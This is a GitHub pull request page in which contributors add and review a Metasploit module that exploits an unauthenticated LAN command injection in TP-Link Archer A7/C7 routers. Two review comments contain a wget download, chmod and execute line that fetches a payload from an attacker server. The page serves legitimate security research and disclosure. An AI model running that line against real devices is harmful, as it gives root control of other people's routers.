Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Archer a7 c7 lan #13208

Merged
merged 8 commits into from Apr 15, 2020
Merged

Archer a7 c7 lan #13208

merged 8 commits into from Apr 15, 2020

Conversation

rdomanski
Copy link
Contributor

This module exploits a command injection vulnerability in the tdpServer daemon (/usr/bin/tdpServer), running on the router TP-Link Archer A7/C7 (AC1750), hardware version 5, MIPS Architecture, firmware version 190726.
The vulnerability can only be exploited by an attacker on the LAN side of the router, but the attacker does not need any authentication to abuse it. After exploitation, an attacker will be able to execute any command as root, including downloading and executing a binary from another host.
This vulnerability was discovered and exploited at Pwn2Own Tokyo 2019 by the Flashback team (Pedro Ribeiro @pedrib + Radek Domanski @rdomanski).

modules/exploits/linux/misc/tplink_archer_a7_c7_lan_rce.rb Outdated Show resolved Hide resolved
modules/exploits/linux/misc/tplink_archer_a7_c7_lan_rce.rb Outdated Show resolved Hide resolved
modules/exploits/linux/misc/tplink_archer_a7_c7_lan_rce.rb Outdated Show resolved Hide resolved
@payload_exe = generate_payload_exe

# Command that will download @payload_exe and execute it
download_cmd = "wget http://#{srv_host}:#{srv_port}/#{@cmd_file};chmod +x #{@cmd_file};./#{@cmd_file}"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

as per below, it can be http or https, so we need to add something like it is below:

"wget #{(datastore['SSL'] ? 'https' : 'http')}://#{srv_host}:#{srv_port}/#{@cmd_file};chmod +x #{@cmd_file};./#{@cmd_file}"

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actually the wget busybox version on the target doesn't support https connections so the SSL option in the module had to be removed completely.

modules/exploits/linux/misc/tplink_archer_a7_c7_lan_rce.rb Outdated Show resolved Hide resolved
modules/exploits/linux/misc/tplink_archer_a7_c7_lan_rce.rb Outdated Show resolved Hide resolved
modules/exploits/linux/misc/tplink_archer_a7_c7_lan_rce.rb Outdated Show resolved Hide resolved
Pedro Ribeiro and others added 3 commits April 8, 2020 12:26
Busybox wget on the target doesn't support https connections.
@pedrib
Copy link
Contributor

pedrib commented Apr 8, 2020

ok all done, I'll send the pcap now to your email

@pedrib
Copy link
Contributor

pedrib commented Apr 8, 2020

tplink_archer_a7_c7_lan_rce.pcap.zip
Pcap attached, tried to submit it via email but gmail kept blocking me

@pedrib
Copy link
Contributor

pedrib commented Apr 9, 2020

Please hold on on this, we just found a way to optimise the exploit

@pedrib
Copy link
Contributor

pedrib commented Apr 9, 2020

Ok, all done, this is ready for final review and merge! We tested all scenarios, and the pcap shows a successful attempt. This was before the refactoring, but we didn't change any functionality, just removed dead code.

@bwatters-r7 bwatters-r7 self-assigned this Apr 15, 2020
@bwatters-r7 bwatters-r7 merged commit 77ddf2b into rapid7:master Apr 15, 2020
@bwatters-r7
Copy link
Contributor

bwatters-r7 commented Apr 15, 2020

Release Notes

A new module, modules/exploits/linux/misc/tplink_archer_a7_c7_lan_rce was added that exploits a command injection vulnerability in the tdpServer daemon (/usr/bin/tdpServer) running on the router TP-Link Archer A7/C7 (AC1750), hardware version 5, MIPS Architecture, firmware version 190726.

This module exploits CVE's:

@tperry-r7 tperry-r7 added the rn-modules release notes for new or majorly enhanced modules label Apr 29, 2020
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

6 participants